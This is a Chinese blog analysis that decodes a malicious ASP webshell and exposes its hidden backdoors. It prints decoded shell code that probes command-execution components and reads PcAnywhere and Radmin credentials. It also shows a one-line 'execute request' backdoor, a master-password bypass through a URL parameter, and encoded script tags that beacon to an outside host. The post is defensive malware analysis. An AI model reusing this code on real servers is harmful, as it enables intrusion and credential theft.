• 欢迎访问金刀客博客!
  • 2019,春节快乐!

”无尽的渗透“webshell的解密和后门全分析

原创天空 admin 775079次浏览 已收录 5个评论

今日群里的朋友说他的网站被挂马了,给了我这个shell,要我帮忙解密。正好今天郁闷,不想给别人弄服务器了,全心全意帮助设置服务器,力求能够使服务器达到完美,能够安全、快速、有效的运转。但是我的努力并没有得到肯定,在服务器维护的过程中某些网站肯定会出现问题,而我不可能一时间全部查找到。出一个小问题,之后那种责问的语气,那种态度让人真的很郁闷。难道平心静气的告诉我那个功能不能使用了不行吗?一起找出问题所在不行吗?后来朋友告诉我说,给公司做事的原则是:不是自己的事情就算只是一秒钟就可以搞定的事情也不要去做,事情做的越少就负更小的责任。
算了,现在心情也好很多了,回归正题。这个shell感觉还不错,在提权方面好像功能挺多。
先一睹芳容

界面不错的

首先是VBScript.Encode加密,这种加密网上有大把的解密器。第一次解密后,代码如下

<%@ LANGUAGE = VBScript.Encode %><% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next UserPass="NTIw" '密码计算网站:http://tool.114la.com/base64.html,将密码粘贴到双引号之间。
SiteURL=”http://www.baidu.com
Copyright=”无尽的渗透”
Font=”380pt”‘登陆图案大小
pic=”~”‘登陆界面图案
BodyColor=”#000000″
FontColor=”#00ff00″
LinkColor=”#008000″
BorderColor=”#666″
LinkOverBJ=”#”
LinkOverFont=”#00ff00″
FormColorBj=”#ccc”
FormColorBorder=”#000″
Const strJsCloseMe=”
Const ALL_INIT =”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”
strBAD=”
Const isDebugMode=False
Const clientPassword=”u”
sub ShowErr()
If Err Then
RRS”

 “&Err.Description&” “&Err.Source&”(点此返回上页)


Err.Clear:Response.Flush
End If
end sub
Sub RRS(str)
response.write(str)
End Sub
Function RePath(S)
RePath=Replace(S,”\”,”\\”)
End Function
Function RRePath(S)
RRePath=Replace(S,”\\”,”\”)
End Function
URL=Request.ServerVariables(“URL”)
ServerIP=Request.ServerVariables(“LOCAL_ADDR”)
Action=Request(“Action”)
RootPath=Server.MapPath(“.”)
WWWRoot=Server.MapPath(“/”):Pn=88
Serveru=request.servervariables(“http_host”)&url
FolderPath=Request(“FolderPath”)
FName=Request(“FName”)
BackUrl=”

返回

RRS”“&Copyright&” – “&ServerIP&”

"
Dim Sot(14,2)
Sot(0,0)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
Sot(0,2)="文件操作组件"
Sot(1,0)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll"
Sot(1,2)="命令行执行组件"
Sot(2,0)="ADOX.Catalog"
Sot(2,2)="ACCESS建库组件"
Sot(3,0)="JRO.JetEngine"
Sot(3,2)="ACCESS压缩组件"
Sot(4,0)="Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
Sot(4,2)="数据流上传辅助组件"
Sot(5,0)="Adodb.connection"
Sot(5,2)="数据库连接组件"
Sot(6,0)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
Sot(6,2)="数据流上传组件"
Sot(7,0)="SoftArtisans.FileUp"
Sot(7,2)="SA-FileUp 文件上传组件"
Sot(8,0)="LyfUpload.UploadFile"
Sot(8,2)="刘云峰文件上传组件"
Sot(9,0)="Persits.Upload.1"
Sot(9,2)="ASPUpload 文件上传组件"
Sot(10,0)="JMail.SmtpMail"
Sot(10,2)="JMail 邮件收发组件"
Sot(11,0)="CDONTS.NewMail"
Sot(11,2)="虚拟SMTP发信组件"
Sot(12,0)="SmtpMail.SmtpMail.1"
Sot(12,2)="SmtpMail发信组件"
Sot(13,0)="Microsoft.XMLHTTP"
Sot(13,2)="数据传输组件"
Sot(14,0)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion"
Sot(14,2)="Application"
For i=0 To 14
Set T=Server.CreateObject(Sot(i,0))
If -2147221005 <> Err Then
IsObj=" √"
Else
IsObj=" ×"
Err.Clear
End If
Set T=Nothing
Sot(i,1)=IsObj
Next
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
function sw(sp,sf)
Set objStream=Server.CreateObject(Sot(6,0))
With objStream
.Open
.Charset="gb2312"
.Position=objStream.Size
.WriteText=sf
.SaveToFile sp,2
.Close
End With
Set objStream=Nothing
end function
Function MainForm()
RRS"

"
RRS""
RRS""
RRS"

"
RRS"

"
RRS"

"
RRS"

地址:"
RRS""
RRS"
"
RRS"

"
RRS"

"
RRS"

"
RRS"

(1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents(5)【All_Users 】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C:\)】(9)【RECYCLER(d:\)】(10)【RECYCLER(e:\)】
"
End Function
chen="晨晨晨晨晨晨晨晨Etmbshnm~Ob@mxvgdqd3'(晨QQR!;chu~`khfm<&bdmsdq&=Ob@mxvgdqd提权~Ahm版本;.chu=!晨QQR!;enql~m`ld<&wenql&~ldsgnc<&onrs&=!晨QQR!;s`akd~vhcsg<&7/$&anqcdq<&/&=;sq=!晨QQR!;sc~vhcsg<&0/$&=bhe文件9~;.sc=;sc~vhcsg<&8/$&=;hmots~m`ld<&o`sg&~sxod<&sdws&~u`ktd<&B9[Cnbtldmsr~`mc~Rdsshmfr[@kk~Trdqr[@ookhb`shnm~C`s`[[Rxl`msdb[ob@mxvgdqd[Bhsdlok-bhe&~rhyd<&7/&=;.sc=!晨QQR!;sc=;hmots~sxod<&rtalhs&~u`ktd<&~提交~&=;.sc=!晨QQR!;.s`akd=!晨dmc~Etmbshnm晨QQR!;hmots~sxod<&ghccdm&~m`ld<&bghm`&~u`ktd<&Dwdbtsd'%ptns:Dwdbtsd'Qdptdrs'%ptns:%ptns:bncd%ptns:%ptns:((%ptns:(&=!晨QQR!;.enql=!晨QQR!;rbqhos=!晨QQR!etmbshnm~QTMnmbkhbj'(z!晨QQR!cnbtldms-wenql-bghm`-m`ld~<~o`qdms-ovc-u`ktd:!晨QQR!cnbtldms-wenql-`bshnm~<~o`qdms-tqk-u`ktd:!晨QQR!cnbtldms-wenql-rtalhs'(:!晨QQR!|!晨QQR!;.rbqhos=!晨Etmbshnm~Rsqd`lKn`cEqnlEhkd'rO`sg(晨Chl~nRsqd`l晨Rds~nRsqd`l~<~Rdqudq-Bqd`sdNaidbs'!@cnca-Rsqd`l!(晨Vhsg~nRsqd`l晨-Sxod~<~0晨-Lncd~<~2晨-Nodm晨-Kn`cEqnlEhkd'rO`sg(晨-Onrhshnm~<~/晨Rsqd`lKn`cEqnlEhkd~<~-Qd`c晨-Bknrd晨Dmc~Vhsg晨Rds~nRsqd`l~<~Mnsghmf晨Dmc~Etmbshnm晨Etmbshnm~gdwcdb'rsqhm(晨Chl~h+~i+~j+~qdrtks晨qdrtks~<~/晨Enq~h~<~0~Sn~Kdm'rsqhm(晨He~Lhc'rsqhm+~h+~0(~<~!e!~Nq~Lhc'rsqhm+~h+~0(~"
RRS"

"
If Sot(0,1)=" ×" Then
RRS"

"
Else
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
End If
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"
隱藏

顯示

"
RRS""
RRS"

"&mName&"


"
RRS"
木有權限
磁盤文件操作↓↓↓

●本程序目錄
●站點根目錄
●Fso浏览器
●AppFile浏览器
●新建--目錄
●新建--文本
●上傳--单一
●上傳--批量
●CMD---命令


●提权 相关↓↓↓

●用户--账号
●網絡__探測
●组件--支持
●信息--探针
●查詢管理員
●端口掃描器
●讀取註冊表
●Serv_u提權
●Serv__uFTP
●Ms_sql提權
●Radmin讀取
●pcanywhere


●文件夾打包
●木马__查找
●脚本 探测↓↓↓

●数据库操作

●批量 挂马↓↓↓


●网站 服务↓↓↓

"
RRS"


"
RRS"

┼3389連接┼

"
RRS"


"
RRS"

┼綁定查詢┼

"
RRS"


"
RRS"

┼更新网站┼

"
RRS"


"
RRS"

●简介说明

"
RRS"

●退出登陆"
RRS"

"
End Function
太长了,kill.........
%>

看看这个代码,这个shell有几个地方引人注入,第一个是它有一个base64加密函数

FUNCTION MyEncode(SourceText)
if len(SourceText) = 0 then
MyEncode = ""
exit function
end if
by3 = (len(SourceText) \ 3) * 3
ndx = 1
do while ndx <= by3 first = asc(mid(SourceText, ndx+0, 1)) No2 = asc(mid(SourceText, ndx+1, 1)) third = asc(mid(SourceText, ndx+2, 1)) ret = ret & EncodeGroup( (first \ 4) AND 63 ) ret = ret & EncodeGroup( ((first * 16) AND 48) + ((No2 \ 16) AND 15 ) ) ret = ret & EncodeGroup( ((No2 * 4) AND 60) + ((third \ 64) AND 3 ) ) ret = ret & EncodeGroup( third AND 63) ndx = ndx + 3 loop if by3 < len(SourceText) then first = asc(mid(SourceText, ndx+0, 1)) ret = ret & EncodeGroup( (first \ 4) AND 63 ) if (len(SourceText) MOD 3 ) = 2 then No2 = asc(mid(SourceText, ndx+1, 1)) ret = ret & EncodeGroup( ((first * 16) AND 48) + ((No2 * 16) AND 15 ) ) ret = ret & EncodeGroup( ((No2 * 4) AND 60) ) else ret = ret & EncodeGroup( (first * 16) AND 48) ret = ret & "=" end if ret = ret & "=" end if MyEncode = ret END FUNCTION

密码的修改在shell中已经说的很清楚了,在http://tool.114la.com/base64.html中加密,然后替换userpass的值就行了。这个还是没有什么难度的,还不如用md5。
第二个就是他的自定义加密了,解密函数位于尾部。

function Unlin(bb)
but=94
for i = 1 to len(bb)
if mid(bb,i,1)<>"晨" then
If Asc(Mid(bb, i, 1)) < 32 or Asc(Mid(bb, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(bb, i, 1)))
else
pk=asc(mid(bb,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then pk=pk+95 end if a=a&chr(pk) end if else a=a&vbcrlf end if next Unlin=a end function

只有一处采用这个函数加密,我们来看看这个代码。

chen="晨晨晨晨晨晨晨晨Etmbshnm~Ob@mxvgdqd3'(晨QQR!;chu~`khfm<&bdmsdq&=Ob@mxvgdqd提权~Ahm版本;.chu=!晨QQR!;enql~m`ld<&wenql&~ldsgnc<&onrs&=!晨QQR!;s`akd~vhcsg<&7/$&anqcdq<&/&=;sq=!晨QQR!;sc~vhcsg<&0/$&=bhe文件9~;.sc=;sc~vhcsg<&8/$&=;hmots~m`ld<&o`sg&~sxod<&sdws&~u`ktd<&B9[Cnbtldmsr~`mc~Rdsshmfr[@kk~Trdqr[@ookhb`shnm~C`s`[[Rxl`msdb[ob@mxvgdqd[Bhsdlok-bhe&~rhyd<&7/&=;.sc=!晨QQR!;sc=;hmots~sxod<&rtalhs&~u`ktd<&~提交~&=;.sc=!晨QQR!;.s`akd=!晨dmc~Etmbshnm晨QQR!;hmots~sxod<&ghccdm&~m`ld<&bghm`&~u`ktd<&Dwdbtsd'%ptns:Dwdbtsd'Qdptdrs'%ptns:%ptns:bncd%ptns:%ptns:((%ptns:(&=!晨QQR!;.enql=!晨QQR!;rbqhos=!晨QQR!etmbshnm~QTMnmbkhbj'(z!晨QQR!cnbtldms-wenql-bghm`-m`ld~<~o`qdms-ovc-u`ktd:!晨QQR!cnbtldms-wenql-`bshnm~<~o`qdms-tqk-u`ktd:!晨QQR!cnbtldms-wenql-rtalhs'(:!晨QQR!|!晨QQR!;.rbqhos=!晨Etmbshnm~Rsqd`lKn`cEqnlEhkd'rO`sg(晨Chl~nRsqd`l晨Rds~nRsqd`l~<~Rdqudq-Bqd`sdNaidbs'!@cnca-Rsqd`l!(晨Vhsg~nRsqd`l晨-Sxod~<~0晨-Lncd~<~2晨-Nodm晨-Kn`cEqnlEhkd'rO`sg(晨-Onrhshnm~<~/晨Rsqd`lKn`cEqnlEhkd~<~-Qd`c晨-Bknrd晨Dmc~Vhsg晨Rds~nRsqd`l~<~Mnsghmf晨Dmc~Etmbshnm晨Etmbshnm~gdwcdb'rsqhm(晨Chl~h+~i+~j+~qdrtks晨qdrtks~<~/晨Enq~h~<~0~Sn~Kdm'rsqhm(晨He~Lhc'rsqhm+~h+~0(~<~!e!~Nq~Lhc'rsqhm+~h+~0(~

对于这种解密最好的办法,是自己把解密函数写到vb或者vbs中,直接复制就可以利用。
解密后代码为:

Function PcAnywhere4()
RRS"

PcAnywhere提权 Bin版本

"
RRS"

"
RRS"

"
RRS"

"
RRS"

"
RRS"

cif文件:

"
end Function
RRS""
RRS"

"
RRS""
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hexdec = result
End Function
Function PcAnywhere(data,mode)
HASH= Mid(data,3)
If mode = "pass" Then number = 32: Cifnum = 144
If mode = "user" Then number = 30: Cifnum = 15
For i = 1 To number Step 2
pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
If ((pcstr <= 32) or (pcstr>127)) Then Exit For
decode = decode + Chr(pcstr)
Cifnum=Cifnum+1
Next
PcAnywhere=decode
End function
Function bin2hex(binstr)
For i = 1 To LenB(binstr)
hexstr = Hex(AscB(MidB(binstr, i, 1)))
If Len(hexstr)=1 Then
bin2hex=bin2hex&"0"&(LCase(hexstr))
Else
bin2hex=bin2hex& LCase(hexstr)
End If
Next
End Function
CIF = Request("path")
If CIF <> "" Then
BinStr=StreamLoadFromFile(CIF)
Response.write "Pcanywhere Reader ==>Bin提供源码

"
Response.write "PATH:"&CIF&"
"
Response.write "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
Response.write "
"
Response.write "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
End If
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
Response.write "Radmin Parameter,Port Reader :)==>Bin

"
Response.write Parameter&":"
'=========== ReadPassWord =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
response.write strobj
Else
response.write "Error! Can't Read!"
End If
Response.write "

"
'=========== ReadPort =========
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
Response.write Port &":"
Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write "Error! Can't Read!"
End If
End Function
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function
samurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10)
surl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10)
rinimamab="rinimamab%3D%22if%2520request%2528%2522l%2522%2529%253C%253E%2522%2522%2520then%2520execute%2520request%2528%2522l%2522%2529%22%0D%0Arinimamab%3Dreplace%28rinimamab%2C%22@@@%22%2C%22%22%29%0D%0Aexecute%20%28unescape%28rinimamab%29%29"
rinimamab=replace(rinimamab,"@@@","")
execute (unescape(rinimamab))

可以看到这个代码的尾部还有一些加密串。samurl和surl就是ascii码,直接在vb中输出得到

samurl=""
surl=""

最后面的这段代码的解密我们可以直接response。

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<% 'rinimamab="rinimamab%3D%22if%2520request%2528%2522l%2522%2529%253C%253E%2522%2522%2520then%2520execute%2520request%2528%2522l%2522%2529%22%0D%0Arinimamab%3Dreplace%28rinimamab%2C%22@@@%22%2C%22%22%29%0D%0Aexecute%20%28unescape%28rinimamab%29%29" 'rinimamab=replace(rinimamab,"@@@","") Response.Write unescape(rinimamab) %>

之后得到

rinimamab="if%20request%28%22l%22%29%3C%3E%22%22%20then%20execute%20request%28%22l%22%29"
rinimamab=replace(rinimamab,"","")
execute (unescape(rinimamab))

再来一次response。

rinimamab="if%20request%28%22l%22%29%3C%3E%22%22%20then%20execute%20request%28%22l%22%29"
rinimamab=replace(rinimamab,"","")
Response.Write unescape(rinimamab)

得到明文

if request("l")<>"" then execute request("l")

对于这个代码的作用应当是接受并执行命令的一个窗口。
今天看到这句话,猛然发现这个是个一句话后门,汗一个.......... daokers 20091225 renew
至此这段代码就解密完了,在下面还有一个ascii码。

cao=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)

值和上面的一样,

cao=""

至此这个shell就完全解密出来了。明文代码打包在附件中。
现在看看后门,这个代码的后门比较隐蔽,它和前面的几个shell的后门有点差别,他并不是将地址和密码发送给作者,而是调用页面获取地址,然后通过万能密码得到控制权。
这个shell验证是否登录的判断是

If Session("webadministrators")<>UserPass Then
If Request.Form("LP")<>"" Then
If MyEncode(Request.Form("LP"))=UserPass Then
Session("webadministrators")=UserPass
response.redirect url
ELse:response.write"

不是自己的女人别乱骑!!!":end if
else.....


只要Session("webadministrators")=UserPass,就可以进入shell。第一个肯定是密码正确后会,会赋予此值,另外一个地方就是

if FName="URL" then
Session("webadministrators")=UserPass
URL()
end if

这个就是万能密码了,访问方式是:http://www.#####.com/webshell.asp?FName=URL
就可以直接进去shell了。那么作者是怎么得到地址的呢?
从上面可以看到有3个变量的是samurl,surl和cao。这个shell也有3个地方确保是否发送了地址。

if session("IDebugMode") <> "ok" then
response.write""&cao&""
session("IDebugMode")="ok"
end if
if session("IDebugMode") <> "ok" then
response.write""&samurl&""
session("IDebugMode")="ok"
end if
if session("IDebugMode") <> "ok" then
response.write""&surl&""
session("IDebugMode")="ok"
end if

可以看到只要session("IDebugMode") 不是ok,那么就调用这3个变量,同时session没有清空,确保唯一性。
在看看session("IDebugMode")的赋值,只有一处

session("IDebugMode")=UU

而UU并没有赋值,也就是说不管怎样都会执行response.write""&surl&""等3个命令中的一个。
那么http://liuwengang.3322.org/images/能够获取shell地址吗?
答案是肯定的,获取调用地址一般是采用ServerVariables("HTTP_REFERER")。存放在txt或者access就行了。
加密文件下载:
点击下载此文件
最开始出于共享的目的,发布了解密的源码,但是很多朋友劝说我,那么解密文件就不发布了。


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明”无尽的渗透“webshell的解密和后门全分析
喜欢 (2)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(5)个小伙伴在吐槽
  1. 花了一下午的时间第一次解密一个asp大马。遇到来N多问题 好歹是终于完全解密完了。。 走到最后 我百度 找 liuwengang.3322.org 这个后门拥有人的时候 才发现原来这个大马 早就被刀哥破解过了。。。 希望以后有问题能得到刀哥的指点。。。
    admin 于 2010-10-07 05:38 PM 回复
    多多交流
    百里书生2010-10-07 17:13 回复
  2. 直接传解密完成的文件上来
    admin 于 2009-11-18 05:44 PM 回复
    YoNko2009-11-10 09:49 回复
  3. 请问为何我用encode解密解到 IsObj=" √" Else IsObj=" ×" 这个X字符就停住了呢?
    admin 于 2009-10-18 05:53 PM 回复
    呵呵,不知道你的详细情况是怎样的,一般都不会的
    炎羽2009-10-17 01:36 回复
  4. 哈哈,好像那里听说过这个东东,回广州后看看
    admin2009-10-02 08:18 回复
  5. = =你牛 有兴趣把我也解个asp大马吧! 是一个人的战争的马
    小毅2009-09-30 10:11 回复